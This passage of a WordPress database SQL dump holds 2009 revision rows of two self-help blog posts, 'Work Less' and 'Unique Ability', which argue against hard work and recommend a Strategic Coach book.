goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-7', '', '', '2009-07-08 16:04:23', '2009-07-08 23:04:23', '', 28, 'http://www.whitehotcenter.com/28-revision-7/', 0, 'revision', '', 0),
(498, 2, '2009-07-09 16:20:29', '2009-07-09 23:20:29', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="249" height="249" /></a><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who don’t work hard achieve very little in life. </span></h2>\r\nAt first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\nThink about these ideas for moment:\r\n<ul>\r\n	<li>hard work has absolutely nothing to do with creating success</li>\r\n	<li>hard work is not the basis for success</li>\r\n	<li>success is inversely proportional to hard work</li>\r\n	<li>avoiding hard work has driven all human progress</li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life.\r\n<h2><span style="color: #ff6600;">When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. </span></h2>\r\nAfter a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around.\r\n\r\n<strong>Start with what you love.</strong>\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n\r\nLive your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.\r\n\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals). What do you think?\r\n</strong>', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-8', '', '', '2009-07-09 16:20:29', '2009-07-09 23:20:29', '', 28, 'http://www.whitehotcenter.com/28-revision-8/', 0, 'revision', '', 0);
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(499, 2, '2009-07-09 16:21:37', '2009-07-09 23:21:37', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="266" height="266" /></a><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional wisdom… people who don’t work hard achieve very little in life. </span></h2>\r\nAt first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\nThink about these ideas for moment:\r\n<ul>\r\n	<li>hard work has absolutely nothing to do with creating success</li>\r\n	<li>hard work is not the basis for success</li>\r\n	<li>success is inversely proportional to hard work</li>\r\n	<li>avoiding hard work has driven all human progress</li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life.\r\n<h2><span style="color: #ff6600;">When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. </span></h2>\r\nAfter a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around.\r\n\r\n<strong>Start with what you love.</strong>\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n\r\nLive your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.\r\n\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals). What do you think?\r\n</strong>', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-9', '', '', '2009-07-09 16:21:37', '2009-07-09 23:21:37', '', 28, 'http://www.whitehotcenter.com/28-revision-9/', 0, 'revision', '', 0),
(500, 2, '2009-07-09 16:22:40', '2009-07-09 23:22:40', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="266" height="266" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2></h2>\r\n<h2></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional wisdom… people who don’t work hard achieve very little in life. </span></h2>\r\nAt first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\nThink about these ideas for moment:\r\n<ul>\r\n	<li>hard work has absolutely nothing to do with creating success</li>\r\n	<li>hard work is not the basis for success</li>\r\n	<li>success is inversely proportional to hard work</li>\r\n	<li>avoiding hard work has driven all human progress</li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life.\r\n<h2><span style="color: #ff6600;">When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. </span></h2>\r\nAfter a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around.\r\n\r\n<strong>Start with what you love.</strong>\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n\r\nLive your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.\r\n\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals). What do you think?\r\n</strong>', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-10', '', '', '2009-07-09 16:22:40', '2009-07-09 23:22:40', '', 28, 'http://www.whitehotcenter.com/28-revision-10/', 0, 'revision', '', 0),
(501, 2, '2009-07-09 16:23:39', '2009-07-09 23:23:39', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional wisdom… people who don’t work hard achieve very little in life. </span></h2>\r\nAt first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\nThink about these ideas for moment:\r\n<ul>\r\n	<li>hard work has absolutely nothing to do with creating success</li>\r\n	<li>hard work is not the basis for success</li>\r\n	<li>success is inversely proportional to hard work</li>\r\n	<li>avoiding hard work has driven all human progress</li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life.\r\n<h2><span style="color: #ff6600;">When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. </span></h2>\r\nAfter a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around.\r\n\r\n<strong>Start with what you love.</strong>\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n\r\nLive your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.\r\n\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals). What do you think?\r\n</strong>', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-11', '', '', '2009-07-09 16:23:39', '2009-07-09 23:23:39', '', 28, 'http://www.whitehotcenter.com/28-revision-11/', 0, 'revision', '', 0),
(502, 2, '2009-07-09 16:24:52', '2009-07-09 23:24:52', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional wisdom… people who don’t work hard achieve very little in life. </span></h2>\r\nAt first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\nThink about these ideas for moment:\r\n<ul>\r\n	<li>hard work has absolutely nothing to do with creating success</li>\r\n	<li>hard work is not the basis for success</li>\r\n	<li>success is inversely proportional to hard work</li>\r\n	<li>avoiding hard work has driven all human progress</li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life.\r\n<h2><span style="color: #ff6600;">When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. </span></h2>\r\nAfter a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around.\r\n\r\n<strong>Start with what you love.</strong>\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n\r\nLive your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.\r\n\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals). What do you think?\r\n</strong>', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-12', '', '', '2009-07-09 16:24:52', '2009-07-09 23:24:52', '', 28, 'http://www.whitehotcenter.com/28-revision-12/', 0, 'revision', '', 0),
(503, 2, '2009-07-09 16:27:14', '2009-07-09 23:27:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional wisdom… people who don’t work hard achieve very little in life. </span></h2>\r\nAt first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\nThink about these ideas for moment:\r\n<ul>\r\n	<li>hard work has absolutely nothing to do with creating success</li>\r\n	<li>hard work is not the basis for success</li>\r\n	<li>success is inversely proportional to hard work</li>\r\n	<li>avoiding hard work has driven all human progress</li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life.\r\n<h2><span style="color: #ff6600;">When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. </span></h2>\r\nAfter a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around.\r\n\r\n<strong>Start with what you love.</strong>\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n<h2><span style="color: #ff6600;">Live your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.</span></h2>\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals). What do you think?\r\n</strong>', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-13', '', '', '2009-07-09 16:27:14', '2009-07-09 23:27:14', '', 28, 'http://www.whitehotcenter.com/28-revision-13/', 0, 'revision', '', 0),
(504, 2, '2009-07-08 16:09:20', '2009-07-08 23:09:20', '<h2><span style="color: #ff6600;">Most of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who you already are!</span></h2>\r\nThat’s the premise of a fascinating and useful book I have recently been studying, titled “Unique Ability – Creating the Life You Want”.  It is published by <a href="http://www.strategiccoach.com">The Strategic Coach</a>.<a href="http://www.strategiccoach.com">\r\n</a>\r\nThe Strategic Coach is a company that teaches successful entrepreneurs to create balance in their business and personal life, while at the same time, creating unprecedented results and rewards through their business activities. A core concept of the teachings of the Strategic Coach, is the concept that every person has a talent that they love to use that translates into activities that they do exceptionally well… a unique ability. Sounds simple enough. But don’t let the obvious simplicity of this idea dismiss its powerful and transformative effect on the results you will create when you operate from the core of your unique ability.\r\n\r\nUnique Ability is a way of describing a powerful force that is at the very core of who you are as an individual. Every human being comes factory-equipped with this ability. It expresses itself in the world from the earliest ages of your development. You are such a genius at this ability that you don’t even realize its importance because your mastery is so automatic, like breathing. As a result, most people do not experience the full rewards that come from developing and harnessing the power of their unique talents and pursue their passions wholeheartedly. However, the more you are able to clearly identify and consciously develop your life around your Unique Ability – the more freedom, happiness and success you will experience. And the world will be the beneficiary of this because of the value you will be adding to people. Talent fueled by passion, especially when directed from greater self-knowledge and focused on creating value, is a powerful creative force and an awesome personal resource.\r\n\r\nOf course, your own discovery and mastery of Unique Ability is a life-long process. And it does not show up in a vacuum. It expresses itself throughout every area of your life. As you study the information in the book, you will become more aware of your good habits, the good things you “always” do. For example, one of my good habits is:\r\n\r\n“I always” follow-through on my commitments.\r\n\r\nTry it. Make a list of the good and useful things you always do. Then you begin to carefully evaluate your daily activities, the big and small things you do in your daily life. These are all methods of discovery to get you to a point where you can express with confidence (and in a simple sentence) what your Unique Ability really is.\r\n\r\nFrom this awareness, you can evaluate which of your activities fall into four important categories: incompetent, competent, excellent, and Unique Ability. The big idea here is to spend your time engaged only in those activities you have identified as Unique Ability activities. Activities in which you have the capacity of superior skill, energy, passion and never-ending improvement.  Those activities that bring you joy and fulfillment. And what of the other areas? Delegate them to others on your team whose Unique Ability is defined by the activities outside of your own. Now you have the recipe for building powerful teams of people pursuing common goals from the power of their respective Unique Abilities. Big time results will follow! Imagine if all the structures in our society were built in this manner.\r\n\r\nIn my own personal and professional life, I am in the process of reinvention and creation of a bigger future. This Unique Ability concept has been tremendously valuable for me to determine the areas where I can make quantum leaps in my progress.\r\n\r\nSo go to the <a href="http://www.strategiccoach.com" target="_blank">Strategic Coach</a> site and order the book. I read it through several times and then several times more!.  Now I use the information as a handbook to keep me focused on daily activities that express my Unique Ability. There are also other tools available from the Strategic Coach that I recommend highly. You can check those out in the Resource section of the site. And make sure you subscribe to the Strategic Coach newsletter too.', 'Unique Ability', 0, 'Most of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who...\r\n', 'inherit', 'open', 'open', '', '27-revision-4', '', '', '2009-07-08 16:09:20', '2009-07-08 23:09:20', '', 27, 'http://www.whitehotcenter.com/27-revision-4/', 0, 'revision', '', 0),
(505, 2, '2009-07-09 17:02:03', '2009-07-10 00:02:03', '<h2><span style="color: #ff6600;">Most of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who you already are!</span></h2>\r\nThat’s the premise of a fascinating and useful book I have recently been studying, titled “Unique Ability – Creating the Life You Want”.  It is published by <a href="http://www.strategiccoach.com">The Strategic Coach</a>.<a href="http://www.strategiccoach.com">\r\n</a>\r\nThe Strategic Coach is a company that teaches successful entrepreneurs to create balance in their business and personal life, while at the same time, creating unprecedented results and rewards through their business activities. A core concept of the teachings of the Strategic Coach, is the concept that every person has a talent that they love to use that translates into activities that they do exceptionally well… a unique ability. Sounds simple enough. But don’t let the obvious simplicity of this idea dismiss its powerful and transformative effect on the results you will create when you operate from the core of your unique ability.\r\n<h2><span style="color: #ff6600;">Unique Ability is a way of describing a powerful force that is at the very core of who you are as an individual. Every human being comes factory-equipped with this ability. It expresses itself in the world from the earliest ages of your development.</span></h2>\r\nYou are such a genius at this ability that you don’t even realize its importance because your mastery is so automatic, like breathing. As a result, most people do not experience the full rewards that come from developing and harnessing the power of their unique talents and pursue their passions wholeheartedly. However, the more you are able to clearly identify and consciously develop your life around your Unique Ability – the more freedom, happiness and success you will experience. And the world will be the beneficiary of this because of the value you will be adding to people. Talent fueled by passion, especially when directed from greater self-knowledge and focused on creating value, is a powerful creative force and an awesome personal resource.\r\n\r\nOf course, your own discovery and mastery of Unique Ability is a life-long process. And it does not show up in a vacuum. It expresses itself throughout every area of your life. As you study the information in the book, you will become more aware of your good habits, the good things you “always” do. For example, one of my good habits is:\r\n\r\n“I always” follow-through on my commitments.\r\n\r\nTry it. Make a list of the good and useful things you always do. Then you begin to carefully evaluate your daily activities, the big and small things you do in your daily life. These are all methods of discovery to get you to a point where you can express with confidence (and in a simple sentence) what your Unique Ability really is.\r\n\r\nFrom this awareness, you can evaluate which of your activities fall into four important categories: incompetent, competent, excellent, and Unique Ability. The big idea here is to spend your time engaged only in those activities you have identified as Unique Ability activities. Activities in which you have the capacity of superior skill, energy, passion and never-ending improvement.  Those activities that bring you joy and fulfillment. And what of the other areas? Delegate them to others on your team whose Unique Ability is defined by the activities outside of your own. Now you have the recipe for building powerful teams of people pursuing common goals from the power of their respective Unique Abilities. Big time results will follow! Imagine if all the structures in our society were built in this manner.\r\n\r\nIn my own personal and professional life, I am in the process of reinvention and creation of a bigger future. This Unique Ability concept has been tremendously valuable for me to determine the areas where I can make quantum leaps in my progress.\r\n\r\nSo go to the <a href="http://www.strategiccoach.com" target="_blank">Strategic Coach</a> site and order the book. I read it through several times 